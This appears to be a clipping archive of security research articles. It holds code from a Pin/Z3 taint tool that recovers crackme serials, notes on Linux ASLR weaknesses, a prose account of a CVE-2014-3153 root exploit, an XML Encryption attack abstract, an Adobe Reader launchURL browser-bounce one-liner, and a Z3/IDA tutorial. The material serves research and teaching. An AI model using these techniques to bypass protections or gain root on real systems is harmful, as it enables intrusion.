i++\)\{ if \(addr == \*i\)\{ std::cout << std::hex << "\[READ in " << addr << "\]\t" << insAddr << ": " << insDis << std::endl; std::cout << "\[Constraint\]\t\t" << "\#" << std::dec << uniqueID << " = 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\)  << static\_cast<UINT64>\(\*\(reinterpret\_cast<char \*>\(addr\)\)\) << std::endl; //stream << "0x" << std::hex << std::setfill\('0'\) << std::setw\(2\) << static\_cast<UINT64>\(\*\(reinterpret\_cast<char \*>\(addr\)\)\); stream << "x"; constraintList.push\_back\(make\_pair\(uniqueID, stream.str\(\)\)\); taintReg\(reg\_r\); setRegID\(reg\_r, uniqueID++\); /\* Construct the z3 equation \*/ z3Context = new z3::context; z3Var = new z3::expr\(z3Context->bv\_const\("x", 32\)\); z3Solver = new z3::solver\(\*z3Context\); z3Equation = new z3::expr\(\*z3Var\); return ; /\* if mem **\!** = tained and reg == taint => free the reg \*/ if \(checkAlreadyRegTainted\(reg\_r\)\)\{ std::cout << std::hex << "\[READ in " << addr << "\]\t" << insAddr << ": " << insDis << std::endl; removeRegTainted\(reg\_r\); setRegID\(reg\_r, -1\);VOID WriteMem\(UINT64 insAddr, std::string insDis, UINT32 opCount, REG reg\_r, UINT64 memOp\) list<UINT64>::iterator i; UINT64 addr = memOp; if \(opCount **\!** = 2\) return; for\(i = addressTainted.begin\(\); i **\!** = addressTainted.end\(\); i++\)\{ if \(addr == \*i\)\{ std::cout << std::hex << "\[WRITE in " << addr << "\]\t" << insAddr << ": " << insDis << std::endl; if \(**\!** REG\_valid\(reg\_r\) || \!checkAlreadyRegTainted\(reg\_r\)\) removeMemTainted\(addr\); return ; if \(checkAlreadyRegTainted\(reg\_r\)\)\{ std::cout << std::hex << "\[WRITE in " << addr << "\]\t" << insAddr << ": " << insDis << std::endl; addMemTainted\(addr\);VOID spreadRegTaint\(UINT64 insAddr, std::string insDis, UINT32 opCount, REG reg\_r, REG reg\_w\) if \(opCount **\!** = 2\) return; if \(REG\_valid\(reg\_w\)\)\{ if \(checkAlreadyRegTainted\(reg\_w\) && \(**\!** REG\_valid\(reg\_r\) || \!checkAlreadyRegTainted\(reg\_r\)\)\)\{ std::cout << "\[SPREAD\]\t\t" << insAddr << ": " << insDis << std::endl; std::cout << "\t\t\toutput: "<< REG\_StringShort\(reg\_w\) << " | input: " << \(REG\_valid\(reg\_r\) **?** REG\_StringShort\(reg\_r\) : "constant"\) << std::endl; removeRegTainted\(reg\_w\); setRegID\(reg\_w, -1\); else if \(**\!** checkAlreadyRegTainted\(reg\_w\) && checkAlreadyRegTainted\(reg\_r\)\)\{ std::cout << "\[SPREAD\]\t\t" << insAddr << ": " << insDis << std::endl; std::cout << "\t\t\toutput: " << REG\_StringShort\(reg\_w\) << " | input: "<< REG\_StringShort\(reg\_r\) << std::endl; //std::cout << "\[Constraint\]\t\t" << "\#" << uniqueID << " = \#" << getRegID\(reg\_r\) << std::endl; taintReg\(reg\_w\); //setRegID\(reg\_w, uniqueID++\);VOID followData\(UINT64 insAddr, std::string insDis, REG reg\_r\) if \(**\!** REG\_valid\(reg\_r\)\) return; if \(checkAlreadyRegTainted\(reg\_r\)\)\{ std::cout << "\[FOLLOW\]\t\t" << insAddr << ": " << insDis << std::endl;BOOL replaceEq\(std::string &str, const std::string &from, const std::string &to\) size\_t start\_pos = str.find\(from\); if\(start\_pos == std::string::npos\) return false; str.replace\(start\_pos, from.length\(\), to\); return true;std::string getRegEq\(UINT64 ID\) std::list< std::pair<UINT64, std::string> >::iterator i; for\(i = constraintList.begin\(\); i **\!** = constraintList.end\(\); i++\)\{ if \(i->first == ID\)\{ return i->second; return "\#" \+ ID;std::string getFullEquation\(std::string eq\) UINT64 i; std::stringstream stream; while \(eq.find\("\#"\) **\!** = std::string::npos\)\{ for \(i = constraintList.size\(\); i **\!** = 0xffffffffffffffff; i--\)\{ stream << "\#" << i; replaceEq\(eq, stream.str\(\), getRegEq\(i\)\); stream.clear\(\); stream.str\(""\); return eq;VOID xorRegReg\(REG reg0, REG reg1\) std::stringstream stream; if \(checkAlreadyRegTainted\(reg0\) || checkAlreadyRegTainted\(reg1\)\)\{ std::cout << "\[Constraint\]\t\t" << "\#" << std::dec << uniqueID << " = xor\(\#" << getRegID\(reg0\) << ", \#" << getRegID\(reg1\) << "\)" << std::endl; stream << "xor\(\#" << getRegID\(reg0\) << ", \#" << getRegID\(reg1\) << "\)"; constraintList.push\_back\(make\_pair\(uniqueID, stream.str\(\)\)\); setRegID\(reg0, uniqueID++\);VOID xorRegImm\(REG reg, UINT64 imm\) std::stringstream stream; if \(checkAlreadyRegTainted\(reg\)\)\{ std::cout << "\[Constraint\]\t\t" << "\#" << std::dec << uniqueID << " = xor\(\#" << getRegID\(reg\) << ", 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\)  << imm << "\)" << std::endl; stream << "xor\(\#" << getRegID\(reg\) << ", 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\) << imm << "\)"; constraintList.push\_back\(make\_pair\(uniqueID, stream.str\(\)\)\); setRegID\(reg, uniqueID++\); /\* Construct the z3 equation \*/ \*z3Equation = \(\*z3Var ^ static\_cast<int>\(imm\)\);VOID z3SolveEqViaCmp\(INT32 cmpVal\) std::cout << "\[Z3 Solver\]-------------------------------------" << std::endl; \*z3Equation = \(\*z3Equation == cmpVal\); z3Solver->add\(\*z3Equation\); z3Solver->check\(\); z3Model = new z3::model\(z3Solver->get\_model\(\)\); std::cout << Z3\_solver\_to\_string\(\*z3Context, \*z3Solver\) << std::endl; std::cout << Z3\_model\_to\_string\(\*z3Context, \*z3Model\) << std::endl; unsigned int goodValue;  Z3\_get\_numeral\_uint\(\*z3Context, z3Model->get\_const\_interp\(\(\*z3Model\)\[0\]\), &goodValue\);  std::cout << "The good value is 0x" << std::hex << goodValue << std::endl; goodSerial\[offsetSerial++\] = goodValue; delete z3Model; delete z3Equation; delete z3Var; delete z3Solver; delete z3Context; std::cout << "\[Z3 Solver\]-------------------------------------" << std::endl;VOID cmpRegReg\(REG reg0, REG reg1, CONTEXT \*ctx\) std::stringstream stream; if \(checkAlreadyRegTainted\(reg0\)\)\{ if \(getRegID\(reg1\) **\!** = 0xffffffffffffffff\)\{ std::cout << "\[Equation\]\t\t" << "cmp\(\#" << std::dec << getRegID\(reg0\) << ", \#" << getRegID\(reg1\) << "\)" << std::endl; stream << "cmp\(\#" << std::dec << getRegID\(reg0\) << ", \#" << getRegID\(reg1\) << "\)"; else\{ std::cout << "\[Equation\]\t\t" << "cmp\(\#" << std::dec << getRegID\(reg0\) << ", 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\)  << PIN\_GetContextReg\(ctx, getHighReg\(reg1\)\) << "\)" << std::endl; stream << "cmp\(\#" << std::dec << getRegID\(reg0\) << ", 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\) << PIN\_GetContextReg\(ctx, getHighReg\(reg1\)\) << "\)"; std::cout << "\[Equation\]\t\t" << getFullEquation\(stream.str\(\)\) << std::endl; z3SolveEqViaCmp\(static\_cast<int>\(PIN\_GetContextReg\(ctx, getHighReg\(reg1\)\)\)\);VOID cmpRegImm\(REG reg, UINT64 imm\) std::stringstream stream; if \(checkAlreadyRegTainted\(reg\)\)\{ std::cout << "\[Equation\]\t\t" << "cmp\(\#" << std::dec << getRegID\(reg\) << ", 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\)  << imm << "\)" << std::endl; stream << "cmp\(\#" << std::dec << getRegID\(reg\) << ", 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\) << imm << "\)"; constraintList.push\_back\(make\_pair\(uniqueID, stream.str\(\)\)\); std::cout << "\[Equation\]\t\t" << getFullEquation\(stream.str\(\)\) << std::endl; z3SolveEqViaCmp\(static\_cast<int>\(imm\)\);VOID movRegReg\(REG reg0, REG reg1, CONTEXT \*ctx\) std::stringstream stream; if \(checkAlreadyRegTainted\(reg0\)\)\{ if \(getRegID\(reg1\) **\!** = 0xffffffffffffffff\)\{ std::cout << "\[Constraint\]\t\t" << "\#" << std::dec << uniqueID << " = \#" << getRegID\(reg1\) << std::endl; stream << "\#" << getRegID\(reg1\); else\{ std::cout << "\[Constraint\]\t\t" << "\#" << std::dec << uniqueID << " = 0x" << std::hex << std::setfill\('0'\) << std::setw\(2\)  << PIN\_GetContextReg\(ctx, getHighReg\(reg1\)\) << std::endl; stream << "0x" << std::hex << std::setfill\('0'\) << std::setw\(2\) << PIN\_GetContextReg\(ctx, getHighReg\(reg1\)\); constraintList.push\_back\(make\_pair\(uniqueID, stream.str\(\)\)\); setRegID\(reg0, uniqueID++\);VOID Instruction\(INS ins, VOID \*v\) if \(INS\_OperandCount\(ins\) > 1 && INS\_MemoryOperandIsRead\(ins, 0\) && INS\_OperandIsReg\(ins, 0\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)ReadMem, IARG\_ADDRINT, INS\_Address\(ins\), IARG\_PTR, new string\(INS\_Disassemble\(ins\)\), IARG\_UINT32, INS\_OperandCount\(ins\), IARG\_UINT32, INS\_OperandReg\(ins, 0\), IARG\_MEMORYOP\_EA, 0, IARG\_END\); else if \(INS\_OperandCount\(ins\) > 1 && INS\_MemoryOperandIsWritten\(ins, 0\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)WriteMem, IARG\_ADDRINT, INS\_Address\(ins\), IARG\_PTR, new string\(INS\_Disassemble\(ins\)\), IARG\_UINT32, INS\_OperandCount\(ins\), IARG\_UINT32, INS\_OperandReg\(ins, 1\), IARG\_MEMORYOP\_EA, 0, IARG\_END\); else if \(INS\_OperandCount\(ins\) > 1 && INS\_OperandIsReg\(ins, 0\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)spreadRegTaint, IARG\_ADDRINT, INS\_Address\(ins\), IARG\_PTR, new string\(INS\_Disassemble\(ins\)\), IARG\_UINT32, INS\_OperandCount\(ins\), IARG\_UINT32, INS\_RegR\(ins, 0\), IARG\_UINT32, INS\_RegW\(ins, 0\), IARG\_END\); if \(INS\_OperandCount\(ins\) > 1 && INS\_OperandIsReg\(ins, 0\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)followData, IARG\_ADDRINT, INS\_Address\(ins\), IARG\_PTR, new string\(INS\_Disassemble\(ins\)\), IARG\_UINT32, INS\_RegR\(ins, 0\), IARG\_END\); /\* xor reg, reg \*/ if \(INS\_OperandCount\(ins\) > 1 && INS\_Opcode\(ins\) == XED\_ICLASS\_XOR && INS\_OperandIsReg\(ins, 0\) && INS\_OperandIsReg\(ins, 1\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)xorRegReg, IARG\_UINT32, INS\_OperandReg\(ins, 0\), IARG\_UINT32, INS\_OperandReg\(ins, 1\), IARG\_END\); /\* xor reg, imm \*/ else if \(INS\_OperandCount\(ins\) > 1 && INS\_Opcode\(ins\) == XED\_ICLASS\_XOR && INS\_OperandIsReg\(ins, 0\) && INS\_OperandIsImmediate\(ins, 1\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)xorRegImm, IARG\_UINT32, INS\_OperandReg\(ins, 0\), IARG\_ADDRINT, INS\_OperandImmediate\(ins, 1\), IARG\_END\); /\* cmp reg, reg \*/ else if \(INS\_OperandCount\(ins\) > 1 && INS\_Opcode\(ins\) == XED\_ICLASS\_CMP && INS\_OperandIsReg\(ins, 0\) && INS\_OperandIsReg\(ins, 1\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)cmpRegReg, IARG\_UINT32, INS\_OperandReg\(ins, 0\), IARG\_UINT32, INS\_OperandReg\(ins, 1\), IARG\_CONTEXT, IARG\_END\); /\* cmp reg, Imm \*/ else if \(INS\_OperandCount\(ins\) > 1 && INS\_Opcode\(ins\) == XED\_ICLASS\_CMP && INS\_OperandIsReg\(ins, 0\) && INS\_OperandIsImmediate\(ins, 1\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)cmpRegImm, IARG\_UINT32, INS\_OperandReg\(ins, 0\), IARG\_ADDRINT, INS\_OperandImmediate\(ins, 1\), IARG\_END\); /\* mov reg, reg \*/ else if \(INS\_OperandCount\(ins\) > 1 && INS\_Opcode\(ins\) == XED\_ICLASS\_MOV && INS\_OperandIsReg\(ins, 0\) && INS\_OperandIsReg\(ins, 1\)\)\{ INS\_InsertCall\( ins, IPOINT\_BEFORE, \(AFUNPTR\)movRegReg, IARG\_UINT32, INS\_OperandReg\(ins, 0\), IARG\_UINT32, INS\_OperandReg\(ins, 1\), IARG\_CONTEXT, IARG\_END\);VOID Syscall\_entry\(THREADID thread\_id, CONTEXT \*ctx, SYSCALL\_STANDARD std, void \*v\) unsigned int i; UINT64 start, size, fd; if \(PIN\_GetSyscallNumber\(ctx, std\) == \_\_NR\_open\)\{ std::string fileName\(reinterpret\_cast<const char \*>\(PIN\_GetSyscallArgument\(ctx, std, 0\)\)\); if \(fileName == KnobTaintFile.Value\(\)\) flag = 1; else if \(PIN\_GetSyscallNumber\(ctx, std\) == \_\_NR\_close\)\{ fd = static\_cast<UINT64>\(\(PIN\_GetSyscallArgument\(ctx, std, 0\)\)\); if \(fd == targetedFd\) targetedFd = 0; else if \(PIN\_GetSyscallNumber\(ctx, std\) == \_\_NR\_read\)\{ fd = static\_cast<UINT64>\(\(PIN\_GetSyscallArgument\(ctx, std, 0\)\)\); start = static\_cast<UINT64>\(\(PIN\_GetSyscallArgument\(ctx, std, 1\)\)\); size = static\_cast<UINT64>\(\(PIN\_GetSyscallArgument\(ctx, std, 2\)\)\); if \(fd **\!** = targetedFd\) return; for \(i = 0; i < size; i++\) addressTainted.push\_back\(start+i\); std::cout << "\[TAINT\]\t\t\tbytes tainted from " << std::hex << "0x" << start << " to 0x" << start+size << " \(via read\)"<< std::endl;VOID Syscall\_exit\(THREADID thread\_id, CONTEXT \*ctx, SYSCALL\_STANDARD std, void \*v\) if \(flag\)\{ targetedFd = PIN\_GetSyscallReturn\(ctx, std\); flag = 0;VOID writeSerial\(INT32 code, VOID \*v\) FILE \*trace; trace = fopen\(KnobTaintFile.Value\(\)**.** c\_str\(\), "w"\); fprintf\(trace, "%s", goodSerial\); fclose\(trace\); return;int main\(int argc, char \*argv\[\]\) if\(PIN\_Init\(argc, argv\)\)\{ return Usage\(\); PIN\_SetSyntaxIntel\(\); PIN\_AddSyscallEntryFunction\(Syscall\_entry, 0\); PIN\_AddSyscallExitFunction\(Syscall\_exit, 0\); INS\_AddInstrumentFunction\(Instruction, 0\); PIN\_AddFiniFunction\(writeSerial, 0\); PIN\_StartProgram\(\); return 0;  
---|---  
****

# Security: Some random observations on Linux ASLR

**Created:**| _3/19/2012 9:09:14 AM_  
---|---  
**Updated:**| _3/19/2012 9:09:16 AM_  
**Author:**| __  
**Tags:**| _aslr Linux_  
  

### Some random observations on Linux ASLR

I've had cause to be staring at memory maps recently across a variety of
systems. No surprise then that some suboptimal or at least interesting ASLR
quirks have come to light.  
  
**1\) Partial failure of ASLR on 32-bit Fedora**  
  
My Fedora is a couple of releases behind, so no idea if it's been fixed. It
seems that the desire to pack all the shared libraries into virtual address
0x00nnnnnn has a catastrophic failure mode when there are too many libraries:
something _always_ ends up at **0x00110000**. You can see it with repeated
invocations of `ldd /opt/google/chrome/chrome|grep 0x0011`:  
  
libglib-2.0.so.0 => /lib/libglib-2.0.so.0 \(0x00110000\)  
libXext.so.6 => /usr/lib/libXext.so.6 \(0x00110000\)  
libdl.so.2 => /lib/libdl.so.2 \(0x00110000\)  
  
_Which_ exact library is placed at the fixed address is random. However, any
fixed address can be a real problem to ASLR. For example, in the browser
context, take a bug such as Chris Rohlf's older but interesting CSS type
confusion. Without a fixed address, a crash is a likely outcome. With a fixed
address, the exact library mapped at the fixed address could easily be
fingerprinted, and the BSS section read to leak heap pointers \(e.g. via
singleton patterns\). Bye bye to both NX and ASLR.  
  
_Aside: in the 32-bit browser context with plenty of physical memory, a
Javascript-based heap spray could easily fill most of the address space such
that the attacker's deference has a low chance of failure._  
  
_Aside \#2: my guess is that this scheme is designed to prevent a return-to-
glibc attack vs. strcpy\(\), by making sure that all executable addresses
contain a NULL byte. I'm probably missing something, but it seems like the
fact that strcpy\(\) NULL-terminates, combined with the little-endianness of
Intel, makes this not so strong._  
  
  
**2\) Missed opportunity to use more entropy on 64-bit**  
  
If you look at the maps of a 64-bit process, you'll see most virtual memory
areas correspond to the formula **0x7fnnxxxxxxxx** where all your stuff is
piled together in xxxxxxxx and nn is random. At least, nothing is in or near a
predictable location. One way to look at how this could be better is this: _If
you emit a 4GB heap spray, you have a ~1/256 chance of guessing where it is_.
Using the additional 7 bits of entropy might be useful, especially for the
heap.  
  
  
**3\) Bad mmap\(\) randomization**  
  
Although the stack, heap and binary are placed at reasonably random locations,
unhinted mmap\(\) chunks are sort of just piled up adjacent, typically in a
descending-vm-address fashion. This can lead to problems where a buffer
overflow crashes into a sensitive mapping -- such a JIT mapping. \(This is one
reason JIT mappings have their own randomizing allocator in v8\).  
  
  
**4\) Heap / stack collision likely with ASLR binary**  
  
On a 32-bit kernel you might see:  
  
b8105000-b8124000 rw-p 00000000 00:00 0 \[heap\]  
bfae5000-bfb0a000 rw-p 00000000 00:00 0 \[stack\]  
  
Or on a 64-bit kernel running a 32-bit process:  
  
f7c52000-f7c73000 rw-p 00000000 00:00 0 \[heap\]  
ff948000-ff96d000 rw-p 00000000 00:00 0 \[stack\]  
  
In both cases, the heap doesn't have to grow too large before it cannot grow
any larger. When this happens, most heap implementations fall back to mmap\(\)
allocations, and suffer the problems of 3\) above. These things chained
together with a very minor infoleak such as my cross-browser XSLT heap address
leak could in fact leak the location of the executable, leading to a full
NX/ASLR bypass.  
  
  
**Conclusion**  
  
A 32-bit address space just isn't very big any more, compared with todays
large binaries, large number of shared library dependencies and large heaps.
It's no surprise that everything is looking a little crammed in. The good news
is that there are no obvious and severe problems with the 64-bit situation,
although the full entropy isn't used. Applications \(such as v8 / Chromium\)
can and do fix that situation for the most sensitive mappings themselves.

Posted by  Chris  at 7:20 PM

####  2 comments:

  *[7:20 PM]: 2012-03-17T19:20:00-07:00

# CVE-2014-3153 Exploit | ClevCode
**Created:**| _7/3/2014 2:04:35 PM_  
---|---  
**Updated:**| _7/3/2014 2:04:35 PM_  
**Author:**| __  
**Tags:**| _Exploit jailbreak_  
  

# CVE-2014-3153 Exploit

<img src='img/Temp2_1355.png' alt='futex-exploit' />

This awesome vulnerability, that affect pretty much all Linux kernels from the
last five years, was found by Comex about a month ago. It is also the
vulnerability that is used in TowelRoot by GeoHot, to root the Samsung S5 and
a bunch of other Android based devices. TowelRoot is closed source and heavily
obfuscated though, and there are still no public exploits available for this
vulnerability for desktop/server systems. So, I decided to make one myself.
;\)

One of the interesting things with this vulnerability is that it is triggered
through the futex\(\) syscall, that is usually allowed even within very
limited sandboxes \(such as the seccomp-based one used by Google Chrome\). The
reason that this syscall is usually allowed is because it’s used to implement
threading primitives, so unless the sandboxed application is single-threaded
the futex\(\) syscall is required.

This is not the first, and certainly not the last, time that I developed a
kernel exploit. Some of you may remember the exploit I developed for a Windows
GDI vulnerability back in 2006, for a vulnerability that Microsoft did not
patch until two weeks after I demonstrated my exploit at BlackHat Europe in
2007. I must say though, this was definitely more challenging than most kernel
vulnerabilities I have researched. Fortunately, challenging equals fun for me.
;\)

My initial exploit patched the release\(\) function pointer in the ptmx\_fops
structure, to achieve code execution in kernel context and calling
commit\_creds\(prepare\_kernel\_cred\(0\)\). The problem with this approach,
however, was that it is prevented by a protection mechanism known as SMEP,
that is supported by Intel Haswell CPU:s. Due to this, I changed my exploit to
target the addr\_limit value in the thread\_info structure instead. This
allows me to enable one of my threads to read/write arbitrary kernel memory,
and provide root-access for me \(and optionally disable other kernel-based
protection mechanisms, such as SELinux\) without having to executing any code
in kernel context.

To Comex, great job in finding this vulnerability\! I first realized what a
talent you have after reverse-engineering your star-exploit back in 2010
\(before realizing that you had released it as open source :D\), that you used
for the JailbreakMe 2.0 site. Judging from all the vulnerabilities you have
found since then, you are no one-hit-wonder either. ;\) Unlike a lot of the
kids these days, you find a lot of vulnerabilities that requires a deep
understanding of the target code in question, rather than just throwing a
fuzzer at it.

To GeoHot, really impressive work with developing the TowelRoot exploit in
such a short amount of time\! The breadth and depth of your work, ranging from
PS3 jailbreaks, iPhone unlocks and jailbreaks, and now Android roots, not to
mention your success in CTF competitions with PPP as well as with your one-
man-team, is truly an inspiration. :\)

## Discussion

### No comments yet.

### Leave a Comment Cancel reply

Your email address will not be published. Required fields are marked

Name

Email

Website

− 9 = zero

Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <strike> <strong> `

# Publications - Ruhr-Universität Bochum

**Created:**| _10/24/2011 11:24:34 AM_  
---|---  
**Updated:**| _10/24/2011 11:24:34 AM_  
**Author:**| __  
**Tags:**| _attacks crypto Oracle_  
  

# How To Break XML Encryption

Tibor Jager, Juraj Somorovsky

In Proceedings of the 18th ACM Con­fe­rence on Com­pu­ter and
Com­mu­ni­ca­ti­ons Se­cu­ri­ty \(CCS\), 2011.

  

## Abstract

XML Encryption was standardized by W3C in 2002, and is implemented in XML
frameworks of major commercial and open-source organizations like Apache,
redhat, IBM, and Microsoft. It is employed in a large number of major web-
based applications, ranging from business communications, e-commerce, and
financial services over healthcare applications to governmental and military
infrastructures.

In this work we describe a practical attack on XML Encryption, which allows to
decrypt a ciphertext by sending related ciphertexts to a Web Service and
evaluating the server response. We show that an adversary can decrypt a
ciphertext by performing only 14 requests per plaintext byte on average. This
poses a serious and truly practical security threat on all currently used
implementations of XML Encryption.

In a sense the attack can be seen as a generalization of padding oracle
attacks \(Vaudenay, Eurocrypt 2002\). It exploits a subtle correlation between
the block cipher mode of operation, the character encoding of encrypted text,
and the response behaviour of a Web Service if an XML message cannot be parsed
correctly.

> The distributed document has been provided by the contributing authors as a
> means to ensure timely dissemination of scholarly and technical work on a
> noncommercial basis. Copyright and all rights therein are maintained by the
> authors or by other copyright holders, notwithstanding that they have
> offered their works here electronically. It is understood that all persons
> copying this information will adhere to the terms and constraints invoked by
> each author's copyright. These works may not be reposted without the
> explicit permission of the copyright holder.

# Billy \(BK\) Rios » Expanding the Attack Surface

**Created:**| _12/27/2010 8:37:50 AM_  
---|---  
**Updated:**| _12/27/2010 8:37:57 AM_  
**Author:**| __  
**Tags:**| _attacks Malware-analysis_  
  

### Expanding the Attack Surface

Imagine there is an un-patched Internet Explorer vuln in the wild. While the
vendor scrambles to dev/test/QA and prime the release for hundreds of millions
of users \(I’ve been there… it takes time\), some organizations may choose to
adjust their defensive posture by suggesting things like, “Use an alternate
browser until a patch is made available”.

So, your users happily use FireFox for browsing the Internet, thinking they
are safe from any IE 0dayz… after all IE vulnerabilities only affect IE right?
Unfortunately, the situation isn’t that simple. In some cases, it is possible
to control seemingly unrelated applications on the user’s machine through the
browser. As an example \(I hesitate to call this a bug, although I did report
the behavior to various vendors\) we can use various browser plugins to jump
from FireFox to Internet Explorer and have Internet Explorer open an arbitrary
webpage.

  1. Requirements: Firefox, Internet Explorer, and Adobe PDF Reader \(v9 or X\)
  2. Set the default browser to Internet Explorer \(common in many enterprises\)
  3. Open Firefox and browse to the following PDF in Firefox: http://xs-sniper.com/sniperscope/Adobe/BounceToIE.pdf

Firefox will call Adobe Reader to render the PDF, Adobe Reader will then call
the default browser and pass it a URL, the default browser \(IE\) will render
the webpage passed by the PDF.

The example I provide simply jumps from Firefox to IE and loads http://xs-
sniper.com/blog/, however I’m free to load any webpage in IE. To be fair, we
can substitute Firefox for Safari or Opera and it will still work.

Achieving this is simple. We use a built-in Adobe Reader API called
app.launchURL\(\). Looking at the documentation for the launchURL\(\) API, we
see that launchURL\(\) takes two parameters: cURL \(required\) and bNewFrame
\(optional\). cURL is a string that specifies the URL to be launched and
bNewFrame provides an indication as to whether cURL should be launched in a
“new window of the browser application”. In this case, “new window of the
browser application” really means the default browser.

A simple one liner in Adobe Reader JavaScript gets it done:

app.launchURL\(“http://xs-sniper.com/blog/”,true\);

Happy hunting…

# Using Z3 with IDA to simplify arithmetic operations in functions

**Created:**| _3/7/2018 8:23:18 AM_  
---|---  
**Updated:**| _3/7/2018 8:23:18 AM_  
**Author:**| _wishi_  
**Tags:**| _iDA SMT_  
  

  

# Using Z3 with IDA to simplify arithmetic operations in functions

March 5, 2018 elias IDAPython, Reverse Engineering, Z3

I have been meaning to learn about SMT based program analysis for a long time
and recently I started learning about the topic. There are so many frameworks,
articles and tutorials out there that I shall explore as time goes by.

Since I am still learning, I do not claim that the following material is
rocket science or advanced by any means, instead, it is very basic and should
be approachable enough by absolute beginners to Z3 \(a theorem prover from
Microsoft Research\). All I know so far comes from reading Dennis Yurichev‘s
e-book “Quick introduction into SAT/SMT solvers and symbolic execution” in
addition to the Z3Py introductory material by Eric
\(https://github.com/ericpony/z3py-tutorial\).

In last week’s blog post, I illustrated how to write a basic emulator to
evaluate a function’s return value without running it. In today’s blog post, I
am going to show how to convert thousands of arithmetic operations from x86
assembly code into simplified Z3 expressions.

  * Introduction
  * Quick Z3 Primer
  * Converting the assembly listing to a Z3 expression

# Introduction

The test program is similar to last week’s test program, where it has a table
of 12 challenge functions that get called from the main function. Each
challenge function was randomly generated so it contains a random sequence of
_add_ /_sub_ /_dec_ /_inc_ instructions that work with the _eax_ /_ebx_ /_ecx_
/_edx_ registers \(and immediate values\).

Here’s a snippet of the first challenge function \(at _0x401000_\):

  * //-------------------------------------------------------------------------
  * uint32\_t challenge\_1\(uint32\_t c1, uint32\_t c2, uint32\_t c3, uint32\_t c4\) // 1953 operation\(s\)
  * \{
  * uint32\_t result;
  * \_\_asm
  * \{
  * pushad
  * mov eax, \[c1\]
  * mov edx, \[c2\]
  * mov ecx, \[c3\]
  * mov ebx, \[c4\]
  * sub eax, ebx
  * inc ebx
  * sub ebx, ecx
  * sub ecx, 0x852e4867
  * add ebx, ebx
  * inc ecx
  * add eax, edx
  * add ecx, ebx
  * sub ecx, ebx
  * inc ecx
  * sub ebx, edx
  * add eax, 0x7a20f9e6
  * add ebx, 0xaa5a1584
  * add edx, edx
  * sub ebx, 0x1ca0a567
  * sub eax, 0xf94f7d8c
  * inc ecx
  * inc eax
  * add edx, eax
  * sub ebx, edx
  * inc ebx
  * sub edx, 0xd68a9fa7
  * inc ebx
  * inc eax
  * inc eax
  * .
  * .
  * ...1000\+ instructions later...
  * .
  * sub ebx, edx
  * inc eax
  * sub ebx, edx
  * sub ecx, eax
  * add eax, ebx
  * add ecx, 0xd2cb013d
  * add ecx, 0xda9d6a2e
  * add edx, eax
  * sub edx, 0x25ebd85d
  * add ebx, ebx
  * add ebx, 0x936e2259
  * inc eax
  * add eax, ecx
  * add ebx, 0xc0c1aa
  * inc ebx
  * add edx, 0x921ee6d5
  * add edx, edx
  * add ecx, eax
  * add ecx, eax
  * inc ebx
  * sub ebx, edx
  * add ebx, eax
  * inc ebx
  * sub eax, 0xd9d2f9c2
  * add edx, eax
  * inc ecx
  * add ecx, 0xad2e6bb0
  * add ecx, eax
  * sub ecx, ebx
  * add ebx, eax
  * sub ecx, 0xe2786d0c
  * add eax, ebx
  * add eax, ecx
  * add eax, edx
  * mov dword ptr \[result\], eax
  * popad
  * \}
  * return result;
  * \}

The disassembly listing of the function above is going to look similar, so
instead of showing the disassembly, I am going to show you the output of the
Hex-Rays decompiler:

\[skip\]

  1. int \_\_cdecl challenge\_1\(unsigned int c1, unsigned int c2, unsigned int c3, unsigned int c4\)
  2. \{
  3. unsigned int v4; // edx
  4. unsigned int v5; // ebx
  5. unsigned int v6; // ecx
  6. unsigned int v7; // eax
  7. int v8; // ecx
  8. int v9; // eax
  9. int v10; // edx
  10. int v11; // ebx
  11. int v12; // ecx
  12. int v13; // eax
  13. int v14; // ebx
  14. int v15; // edx
  15. int v16; // eax
  16. int v17; // ebx
  17. int v18; // ecx
  18. int v19; // edx
  19. int v20; // ecx
  20. int v21; // edx
  21. int v22; // eax
  22. int v23; // ebx
  23. int v24; // edx
  24. int v25; // eax
  25. int v26; // ecx
  26. int v27; // edx
  27. int v28; // ecx
  28. int v29; // edx
  29. int v30; // eax
  30. int v31; // ebx
  31. int v32; // ecx
  32. int v33; // eax
  33. int v34; // edx
  34. int v35; // ecx
  35. int v36; // ebx
  36. int v37; // edx
  37. int v38; // ecx
  38. int v39; // eax
  39. int v40; // ebx
  40. int v41; // ecx
  41. int v42; // eax
  42. int v43; // edx
  43. int v44; // ebx
  44. int v45; // ebx
  45. int v46; // edx
  46. int v47; // ecx
  47. int v48; // eax
  48. int v49; // edx
  49. int v50; // ebx
  50. int v51; // eax
  51. int v52; // edx
  52. int v53; // ebx
  53. int v54; // eax
  54. int v55; // edx
  55. int v56; // ecx
  56. int v57; // ecx
  57. int v58; // eax
  58. int v59; // edx
  59. int v60; // eax
  60. int v61; // ebx
  61. int v62; // eax
  62. int v63; // ebx
  63. int v64; // ecx
  64. int v65; // eax
  65. int v66; // edx
  66. int v67; // ecx
  67. int v68; // ebx
  68. int v69; // edx
  69. int v70; // ebx
  70. int v71; // edx
  71. int v72; // ecx
  72. int v73; // eax
  73. int v74; // ecx
  74. int v75; // edx
  75. int v76; // ebx
  76. int v77; // edx
  77. int v78; // edx
  78. int v79; // eax
  79. int v80; // ebx
  80. int v81; // ecx
  81. int v82; // ebx
  82. int v83; // eax
  83. int v84; // ebx
  84. int v85; // edx
  85. int v86; // ebx
  86. int v87; // eax
  87. int v88; // edx
